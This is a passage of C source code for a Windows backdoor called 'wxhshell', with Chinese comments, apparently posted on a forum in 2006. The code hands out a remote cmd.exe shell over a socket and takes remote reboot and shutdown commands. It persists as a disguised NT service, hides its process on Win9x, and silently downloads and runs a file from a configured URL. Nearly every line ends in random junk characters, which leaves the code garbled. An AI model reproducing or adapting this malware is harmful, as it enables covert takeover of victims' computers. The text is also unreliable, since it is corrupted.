  \UBTNY,  
  // 帮助 uBdS}U  
  case '?': { _gAU`aO^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); " 3ryp A  
    break; )U6-&-07  
  } X~m*`UH  
  // 安装 1y\ -Iz^  
  case 'i': { ~ ZkSYW<  
    if(Install()) PtfxF]%H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [^oTC;  
    else xqP DL9\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j c%  
    break; J.nJ@?O+  
    } *{_WM}G  
  // 卸载 QqpXUyHp[  
  case 'r': { 0?x9.]  
    if(Uninstall()) :Z(w,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oqLM-=0<}  
    else dRl*rP/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eouxNw}F1  
    break; WA~PE` U  
    } PubO|Mf  
  // 显示 wxhshell 所在路径 ~353x%e'  
  case 'p': { adi^*7Q] )  
    char svExeFile[MAX_PATH]; R^[b I;  
    strcpy(svExeFile,"\n\r"); [(*ObvEF  
      strcat(svExeFile,ExeFile); &bh%>[  
        send(wsh,svExeFile,strlen(svExeFile),0); <=1nr@L  
    break; H1!u1k1nl  
    } 75>)1H)Xm  
  // 重启 /' +GYS  
  case 'b': { s{QS2G$5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0a1Vj56{)  
    if(Boot(REBOOT)) #*J+4a w3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2u B66i  
    else { V:<NQd  
    closesocket(wsh); 6[\b]I\Q  
    ExitThread(0); Xs,[Z2_iq  
    } {*#}"/:8K  
    break; >gj%q$@  
    } AeQIsrAHE  
  // 关机 Ptj,9bf<\  
  case 'd': { S"}G/lBx.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @ V_@r@A  
    if(Boot(SHUTDOWN)) E~[v.3`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M1>2Q[h7  
    else { z8MKGM  
    closesocket(wsh); }&E'ox<S  
    ExitThread(0); erhxZ|."P  
    } P~6QRm  
    break; =N,ahq  
    } 3#d?  
  // 获取shell e*nT+Rp  
  case 's': { .u<i<S  
    CmdShell(wsh); mN!5JZ' 2  
    closesocket(wsh); MfJs?N0  
    ExitThread(0); @Czj] t`  
    break; GS<aXh k  
  } ~7kIe+V  
  // 退出 vt(A?$j|A  
  case 'x': { 1\hh,s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P&6hk6#  
    CloseIt(wsh); Q&JnF`*  
    break; E0SP  
    } "s?!1v(v  
  // 离开 NWN Pq"  
  case 'q': { G!%Cc0d"7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G $P|F6  
    closesocket(wsh); nVSuvq|S  
    WSACleanup(); xJ0Q8A  
    exit(1); ;z>?- j  
    break; Z`W @Od$f  
        } v/1&V+"^kd  
  } eD#R4  
  } %-A#7\  
{}Q A#:V  
  // 提示信息 u'm[wjCj c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *[@k=!73  
} Pc{0Js5VzE  
  } o3s ME2  
]<Ugg  
  return; Q5!"tF p  
} @2Spfj_e  
+W xZB  
// shell模块句柄 =P,h5J  
int CmdShell(SOCKET sock) ^")SU(`  
{ bOY<C%;C  
STARTUPINFO si; P S$6`6G  
ZeroMemory(&si,sizeof(si)); p!XB\%sv'"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dxz.%a@PW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D09/(%4j  
PROCESS_INFORMATION ProcessInfo; t V]BcDp  
char cmdline[]="cmd"; hYj!*P)uV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )|d]0/<  
  return 0; c~bTK" u  
} =}8:zO 2'{  
;X9nYH  
// 自身启动模式 f{[] m(X;  
int StartFromService(void) 5os(.   
{ Wej'AR\NX  
typedef struct wM2[i  
{ GadZ!_.f  
  DWORD ExitStatus; s}O9[_v  
  DWORD PebBaseAddress; ya*KA.EGg  
  DWORD AffinityMask; '`+GC9VG  
  DWORD BasePriority; xUKn  
  ULONG UniqueProcessId; IM^K]$q$47  
  ULONG InheritedFromUniqueProcessId; A3;}C+K  
}   PROCESS_BASIC_INFORMATION; jTDaW8@L  
0Ud.u  
PROCNTQSIP NtQueryInformationProcess; 2#^@awJ ?  
)`*=P}D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u>YC4&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  hxedQvW  
l9zkx'xt.-  
  HANDLE             hProcess; 9:]w|lE:D  
  PROCESS_BASIC_INFORMATION pbi; ZQ0R3=52r  
)S,Rx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kgb 3>r  
  if(NULL == hInst ) return 0; e*zt;SR  
O< \i{4}}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K<_bG<tm_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @N?u{|R:d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1R e5)Y:i  
/W vgC)  
  if (!NtQueryInformationProcess) return 0; ~S$\ PG4  
LH" CIL2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~zcHpxO^W  
  if(!hProcess) return 0; 4"=(kC~~  
IwR/4LYI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #y?iUv  
'JjW5  
  CloseHandle(hProcess); ;(Xig$k  
sK&[sN33  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |$)+h\h  
if(hProcess==NULL) return 0; `L. kyL  
pc=f,  
HMODULE hMod; yLDv/r  
char procName[255]; @u.%z# h"1  
unsigned long cbNeeded; _>k&,p]y  
Lwzk<+>w^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +im>|  
ZbZCW:8>k  
  CloseHandle(hProcess); zS6oz=  
HZ+l){u  
if(strstr(procName,"services")) return 1; // 以服务启动 Kb/w+J S  
Pr!H>dH8o  
  return 0; // 注册表启动 `E4+#_ v  
} Q)$RE{*-  
15 /lX  
// 主模块 \QZ~w_  
int StartWxhshell(LPSTR lpCmdLine) {zri6P+s  
{ pI>[^7  
  SOCKET wsl; ?Tr]zxtd  
BOOL val=TRUE; .}O _5b(  
  int port=0; 9k`}fk\M  
  struct sockaddr_in door; l?UFe$9(  
5g-AB`6T  
  if(wscfg.ws_autoins) Install(); A%zX LV=3O  
wS)2ymRg  
port=atoi(lpCmdLine); 3G;#QK -c  
-%g$~MZ?'  
if(port<=0) port=wscfg.ws_port; N1vPY]8  
}%@q; "9`  
  WSADATA data; 8}^R jMgI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ):c)$$dn  
!=Hu?F p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (sfy14>\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vpoYb  
  door.sin_family = AF_INET; WcG}9)9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lDV}vuM<4  
  door.sin_port = htons(port); SdJGhU  
5xsGSoa+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kz>Bw;R(  
closesocket(wsl); EV$$wrohQ`  
return 1; jnu!a.H  
} X>$s>})Y  
REj<2Lo  
  if(listen(wsl,2) == INVALID_SOCKET) { \a .^5g  
closesocket(wsl); [PI!.9H  
return 1; /4!.G#DLQ  
} Si:$zGL$(  
  Wxhshell(wsl); G|h@O'  
  WSACleanup(); *MG*]\D  
5r-OE-U{  
return 0; JSAbh\Mq6  
hbOyrjan x  
} NhgzU+)+  
TGxmc37?  
// 以NT服务方式启动 ,*r}23  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fGz++;b<S  
{ :9O"?FE  
DWORD   status = 0; `/4 R$E{  
  DWORD   specificError = 0xfffffff; DA(ur'D  
/p PSo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TJhzyJ"t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X;vfbF   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~:ldGfb|  
  serviceStatus.dwWin32ExitCode     = 0; a*g7uaoP  
  serviceStatus.dwServiceSpecificExitCode = 0; T0Kjnzs  
  serviceStatus.dwCheckPoint       = 0; naHQeX;  
  serviceStatus.dwWaitHint       = 0; gl$Ks+o d  
_>LI[yf{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V(5=-8k  
  if (hServiceStatusHandle==0) return; b;K]; o-/f  
keMfK ]9  
status = GetLastError(); WCpCWtmy  
  if (status!=NO_ERROR) L#}HeOEi[  
{ \@K KX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XP |qY1  
    serviceStatus.dwCheckPoint       = 0; H/I1n\  
    serviceStatus.dwWaitHint       = 0; @|i f^  
    serviceStatus.dwWin32ExitCode     = status; 0YApaL+jt  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ny6 daf3f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iem@ K  
    return; 0]._|Ubn6)  
  } fEMz%CwH  
?cH,!2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t'.oty=  
  serviceStatus.dwCheckPoint       = 0; WYayr1  
  serviceStatus.dwWaitHint       = 0; dTwZ-%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); itpljh  
} {$ (X,E  
9wB}EDZ  
// 处理NT服务事件,比如:启动、停止 uHNh|ew21  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [Up0<`Q{I_  
{ Z6F^p8O-  
switch(fdwControl) D rMG{Yiu  
{ }iZ>Gm '5  
case SERVICE_CONTROL_STOP: s&gzv=v  
  serviceStatus.dwWin32ExitCode = 0; ifYC&5}SI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,m08t9F  
  serviceStatus.dwCheckPoint   = 0; ee7{5  
  serviceStatus.dwWaitHint     = 0; 4P(ysTuM  
  { :9=J=G*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q 6)5*o8n  
  } L( B(x>w  
  return; 33*NgQ;&~'  
case SERVICE_CONTROL_PAUSE: $h()% C7s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p^(gXzW  
  break; K~MTbdg  
case SERVICE_CONTROL_CONTINUE: .Y^UPxf@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YcQ3 :i  
  break; *@C]\)  
case SERVICE_CONTROL_INTERROGATE: i,h)  
  break; \kQ@G  
};  mDJg-BQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {TWgR2?{C  
} )}KQtkU8:  
\B$Q%\-PX  
// 标准应用程序主函数 -$8M#n,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +~H mP Q  
{ ' >F_y t9  
82q_"y>6  
// 获取操作系统版本 F[65)"^  
OsIsNt=GetOsVer(); ,M)NC%0X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bns([F  
R06zca  
  // 从命令行安装 R'.YE;leBG  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rw R.*?#  
R\+O.vX  
  // 下载执行文件 2S{IZ]  
if(wscfg.ws_downexe) { sXmZ0Dv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "?yu^  
  WinExec(wscfg.ws_filenam,SW_HIDE); j$f`:A  
} @uWPo2  
JuD$CHg;#  
if(!OsIsNt) { FQ72VY  
// 如果时win9x,隐藏进程并且设置为注册表启动 >~% _U+6  
HideProc(); :2\H>^u V  
StartWxhshell(lpCmdLine); s)e'}y  
} d:x=g i!  
else .-0;:>  
  if(StartFromService()) )%}?p2.  
  // 以服务方式启动 3}}#'5D  
  StartServiceCtrlDispatcher(DispatchTable); OFtAT@ =O  
else ~ 3HI;  
  // 普通方式启动 }g?9 /)z  
  StartWxhshell(lpCmdLine); SLiQHWw*J  
&;)6G1X1  
return 0; }+_Z|>qv  
}
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只看该作者 1 发表于: 2006-10-10
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